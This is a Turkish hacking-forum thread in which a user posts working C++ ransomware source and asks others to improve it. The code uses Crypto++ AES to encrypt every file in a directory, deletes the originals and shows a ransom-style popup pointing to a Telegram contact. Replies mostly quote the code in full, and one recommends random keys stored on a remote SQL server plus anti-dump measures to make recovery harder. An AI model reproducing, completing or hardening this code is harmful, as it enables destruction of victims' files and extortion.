Ransomware Yazılımı

ByFelez

Uzman üye
9 Tem 2013
1,818
1,774
Arkadaşlar Selamın Aleyküm.

Biliyorsunuz önceden Hacking Alanında Yazılımlar Geliştiriyordum.

Son Günlerde biraz Web Alanına Kaymıştım...

Ancak Önceki Alanımdan Tamamen Kopmam benim sonum demek. Web Tarafında şuan ciddi üzerinde durmam gereken bi projem yok.

Bu yüzden bir Ransomware Projesine Başladım. C++ ile.

Üzerinde Hala Çalışıyorum.. Sizde Fikirler almak istiyorum. Kodları paylaşacağım.. Gördüğünüz bir mantık hatası ya da şu kısmı düzelt dediğiniz yerler var ise bildirebilirsiniz.

Henüz exe dosyasına dönüştürmedim kodların şuan ki kısmını VirüsTotal'e attım onun sonucu da paylaşacağım.



C++:
/*******************************************************
* Bu program, ByFelez Tarafından Geliştirilmiştir !
* Telegram : t.me/felez_tr
*******************************************************/

#include <iostream>
#include <string>
#include <fstream>
#include <cryptopp/aes.h>
#include <cryptopp/modes.h>
#include <cryptopp/filters.h>
#include <vector>
#include <thread>
#include <filesystem>
#include <windows.h>

const double RAM_USAGE_PERCENTAGE = 0.2;

void deleteOriginalFile(const std::string& fileName) {
    if (std::remove(fileName.c_str()) != 0) {
        std::cerr << "Dosya silinirken bir hata oluştu: " << fileName << std::endl;
    }
    else {
        std::cout << "Orijinal dosya silindi: " << fileName << std::endl;
    }
}

void encryptAES(const std::string& inputFileName, const std::string& outputFileName, const std::string& key) {
    CryptoPP::SecByteBlock aesKey((const byte*)key.data(), key.size());
    CryptoPP::AES::Encryption aesEncryption(aesKey, CryptoPP::AES::DEFAULT_KEYLENGTH);
    CryptoPP::CBC_Mode_ExternalCipher::Encryption cbcEncryption(aesEncryption, (const byte*)key.data());

    std::ifstream inputFile(inputFileName, std::ios::binary);
    std::ofstream outputFile(outputFileName, std::ios::binary);

    if (!inputFile || !outputFile) {
        std::cerr << "Dosya acilamadi veya olusturulamadi!" << std::endl;
        return;
    }

    CryptoPP::FileSource fileSource(inputFile, true,
        new CryptoPP::StreamTransformationFilter(cbcEncryption,
            new CryptoPP::FileSink(outputFile)));

    std::cout << "Dosya basariyla sifrelendi: " << inputFileName << std::endl;
}

void processFiles(const std::vector<std::string>& files, const std::string& key) {
    for (const auto& file : files) {
        encryptAES(file, file + ".encrypted", key);
        deleteOriginalFile(file);
    }
}

void showNotification(const std::string& message) {
    MessageBox(NULL, message.c_str(), "Uyarı", MB_OK | MB_ICONINFORMATION);
}

int main() {
    std::string key = "Flzby*-1786924,3#&";

    std::string directoryPath = "path_to_your_directory";

    if (!std::filesystem::exists(directoryPath)) {
        std::cerr << "Belirtilen dizin bulunamadi!" << std::endl;
        return 1;
    }

    const int maxThreadCount = std::thread::hardware_concurrency();
    const int usedThreadCount = static_cast<int>(maxThreadCount * RAM_USAGE_PERCENTAGE);

    std::vector<std::string> files;
    for (const auto& entry : std::filesystem::directory_iterator(directoryPath)) {
        files.push_back(entry.path().string());
    }

    std::vector<std::vector<std::string>> fileChunks(usedThreadCount);

    size_t i = 0;
    for (const auto& file : files) {
        fileChunks[i % usedThreadCount].push_back(file);
        ++i;
    }

    std::vector<std::thread> threads;
    for (int i = 0; i < usedThreadCount; ++i) {
        threads.emplace_back(processFiles, std::ref(fileChunks[i]), std::ref(key));
    }

    for (auto& thread : threads) {
        thread.join();
    }

    showNotification("Bizimle iletişime geç ! Telegram: @felez_tr");

    return 0;
}


j094qyx.png


jv6f72z.png
 

invisible blood

Uzman üye
15 Eyl 2023
1,177
443
Arkadaşlar Selamın Aleyküm.

Biliyorsunuz önceden Hacking Alanında Yazılımlar Geliştiriyordum.

Son Günlerde biraz Web Alanına Kaymıştım...

Ancak Önceki Alanımdan Tamamen Kopmam benim sonum demek. Web Tarafında şuan ciddi üzerinde durmam gereken bi projem yok.

Bu yüzden bir Ransomware Projesine Başladım. C++ ile.

Üzerinde Hala Çalışıyorum.. Sizde Fikirler almak istiyorum. Kodları paylaşacağım.. Gördüğünüz bir mantık hatası ya da şu kısmı düzelt dediğiniz yerler var ise bildirebilirsiniz.


Henüz exe dosyasına dönüştürmedim kodların şuan ki kısmını VirüsTotal'e attım onun sonucu da paylaşacağım.



C++:
/*******************************************************
* Bu program, ByFelez Tarafından Geliştirilmiştir !
* Telegram : t.me/felez_tr
*******************************************************/

#include <iostream>
#include <string>
#include <fstream>
#include <cryptopp/aes.h>
#include <cryptopp/modes.h>
#include <cryptopp/filters.h>
#include <vector>
#include <thread>
#include <filesystem>
#include <windows.h>

const double RAM_USAGE_PERCENTAGE = 0.2;

void deleteOriginalFile(const std::string& fileName) {
    if (std::remove(fileName.c_str()) != 0) {
        std::cerr << "Dosya silinirken bir hata oluştu: " << fileName << std::endl;
    }
    else {
        std::cout << "Orijinal dosya silindi: " << fileName << std::endl;
    }
}

void encryptAES(const std::string& inputFileName, const std::string& outputFileName, const std::string& key) {
    CryptoPP::SecByteBlock aesKey((const byte*)key.data(), key.size());
    CryptoPP::AES::Encryption aesEncryption(aesKey, CryptoPP::AES::DEFAULT_KEYLENGTH);
    CryptoPP::CBC_Mode_ExternalCipher::Encryption cbcEncryption(aesEncryption, (const byte*)key.data());

    std::ifstream inputFile(inputFileName, std::ios::binary);
    std::ofstream outputFile(outputFileName, std::ios::binary);

    if (!inputFile || !outputFile) {
        std::cerr << "Dosya acilamadi veya olusturulamadi!" << std::endl;
        return;
    }

    CryptoPP::FileSource fileSource(inputFile, true,
        new CryptoPP::StreamTransformationFilter(cbcEncryption,
            new CryptoPP::FileSink(outputFile)));

    std::cout << "Dosya basariyla sifrelendi: " << inputFileName << std::endl;
}

void processFiles(const std::vector<std::string>& files, const std::string& key) {
    for (const auto& file : files) {
        encryptAES(file, file + ".encrypted", key);
        deleteOriginalFile(file);
    }
}

void showNotification(const std::string& message) {
    MessageBox(NULL, message.c_str(), "Uyarı", MB_OK | MB_ICONINFORMATION);
}

int main() {
    std::string key = "Flzby*-1786924,3#&";

    std::string directoryPath = "path_to_your_directory";

    if (!std::filesystem::exists(directoryPath)) {
        std::cerr << "Belirtilen dizin bulunamadi!" << std::endl;
        return 1;
    }

    const int maxThreadCount = std::thread::hardware_concurrency();
    const int usedThreadCount = static_cast<int>(maxThreadCount * RAM_USAGE_PERCENTAGE);

    std::vector<std::string> files;
    for (const auto& entry : std::filesystem::directory_iterator(directoryPath)) {
        files.push_back(entry.path().string());
    }

    std::vector<std::vector<std::string>> fileChunks(usedThreadCount);

    size_t i = 0;
    for (const auto& file : files) {
        fileChunks[i % usedThreadCount].push_back(file);
        ++i;
    }

    std::vector<std::thread> threads;
    for (int i = 0; i < usedThreadCount; ++i) {
        threads.emplace_back(processFiles, std::ref(fileChunks[i]), std::ref(key));
    }

    for (auto& thread : threads) {
        thread.join();
    }

    showNotification("Bizimle iletişime geç ! Telegram: @felez_tr");

    return 0;
}


j094qyx.png


jv6f72z.png
Ellerinize sağlık felez hocam.
 

tamam ağa

Uzman üye
7 Haz 2023
1,496
843
Key konusunda bir önerim var keyi random oluşturup bir sql sunucusuna kayit ettirirseniz kırılması daha zor olur fakat değişkeni manipüle edilmemesi için ekstra önlemler almalısınız.
Misal anti dump gibi.
 

Bunjo

Uzman üye
14 Ara 2020
1,592
1,889
I Won
Arkadaşlar Selamın Aleyküm.

Biliyorsunuz önceden Hacking Alanında Yazılımlar Geliştiriyordum.

Son Günlerde biraz Web Alanına Kaymıştım...

Ancak Önceki Alanımdan Tamamen Kopmam benim sonum demek. Web Tarafında şuan ciddi üzerinde durmam gereken bi projem yok.

Bu yüzden bir Ransomware Projesine Başladım. C++ ile.

Üzerinde Hala Çalışıyorum.. Sizde Fikirler almak istiyorum. Kodları paylaşacağım.. Gördüğünüz bir mantık hatası ya da şu kısmı düzelt dediğiniz yerler var ise bildirebilirsiniz.


Henüz exe dosyasına dönüştürmedim kodların şuan ki kısmını VirüsTotal'e attım onun sonucu da paylaşacağım.



C++:
/*******************************************************
* Bu program, ByFelez Tarafından Geliştirilmiştir !
* Telegram : t.me/felez_tr
*******************************************************/

#include <iostream>
#include <string>
#include <fstream>
#include <cryptopp/aes.h>
#include <cryptopp/modes.h>
#include <cryptopp/filters.h>
#include <vector>
#include <thread>
#include <filesystem>
#include <windows.h>

const double RAM_USAGE_PERCENTAGE = 0.2;

void deleteOriginalFile(const std::string& fileName) {
    if (std::remove(fileName.c_str()) != 0) {
        std::cerr << "Dosya silinirken bir hata oluştu: " << fileName << std::endl;
    }
    else {
        std::cout << "Orijinal dosya silindi: " << fileName << std::endl;
    }
}

void encryptAES(const std::string& inputFileName, const std::string& outputFileName, const std::string& key) {
    CryptoPP::SecByteBlock aesKey((const byte*)key.data(), key.size());
    CryptoPP::AES::Encryption aesEncryption(aesKey, CryptoPP::AES::DEFAULT_KEYLENGTH);
    CryptoPP::CBC_Mode_ExternalCipher::Encryption cbcEncryption(aesEncryption, (const byte*)key.data());

    std::ifstream inputFile(inputFileName, std::ios::binary);
    std::ofstream outputFile(outputFileName, std::ios::binary);

    if (!inputFile || !outputFile) {
        std::cerr << "Dosya acilamadi veya olusturulamadi!" << std::endl;
        return;
    }

    CryptoPP::FileSource fileSource(inputFile, true,
        new CryptoPP::StreamTransformationFilter(cbcEncryption,
            new CryptoPP::FileSink(outputFile)));

    std::cout << "Dosya basariyla sifrelendi: " << inputFileName << std::endl;
}

void processFiles(const std::vector<std::string>& files, const std::string& key) {
    for (const auto& file : files) {
        encryptAES(file, file + ".encrypted", key);
        deleteOriginalFile(file);
    }
}

void showNotification(const std::string& message) {
    MessageBox(NULL, message.c_str(), "Uyarı", MB_OK | MB_ICONINFORMATION);
}

int main() {
    std::string key = "Flzby*-1786924,3#&";

    std::string directoryPath = "path_to_your_directory";

    if (!std::filesystem::exists(directoryPath)) {
        std::cerr << "Belirtilen dizin bulunamadi!" << std::endl;
        return 1;
    }

    const int maxThreadCount = std::thread::hardware_concurrency();
    const int usedThreadCount = static_cast<int>(maxThreadCount * RAM_USAGE_PERCENTAGE);

    std::vector<std::string> files;
    for (const auto& entry : std::filesystem::directory_iterator(directoryPath)) {
        files.push_back(entry.path().string());
    }

    std::vector<std::vector<std::string>> fileChunks(usedThreadCount);

    size_t i = 0;
    for (const auto& file : files) {
        fileChunks[i % usedThreadCount].push_back(file);
        ++i;
    }

    std::vector<std::thread> threads;
    for (int i = 0; i < usedThreadCount; ++i) {
        threads.emplace_back(processFiles, std::ref(fileChunks[i]), std::ref(key));
    }

    for (auto& thread : threads) {
        thread.join();
    }

    showNotification("Bizimle iletişime geç ! Telegram: @felez_tr");

    return 0;
}


j094qyx.png


jv6f72z.png
Eline sağlık çok güzel olmuş, hemen indirip açıyorum 🙃
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.